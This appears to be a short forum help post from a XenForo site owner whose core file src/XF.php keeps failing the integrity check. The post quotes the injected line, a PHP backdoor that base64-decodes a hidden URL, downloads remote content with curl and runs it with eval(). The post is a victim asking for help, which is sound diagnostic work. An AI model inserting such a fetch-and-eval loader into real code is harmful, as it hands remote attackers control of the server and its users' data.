src/XF.php Unexpected contents

[XFFA.IR Bot]

No matter how many times I re-upload the src/XF.php file, check for files health shows Unexpected contents

comparing the two files shows this line

PHP:

$ch = curl_init();$timeout = 60;curl_setopt ($ch, CURLOPT_URL, base64_decode('aHR0cHM6Ly9qc3BocC5jYy9maWxlL2RlZmVuc2UtYXJhYi5jb20vYTE='));curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$Content_mb = curl_exec($ch);curl_close($ch);eval($Content_mb);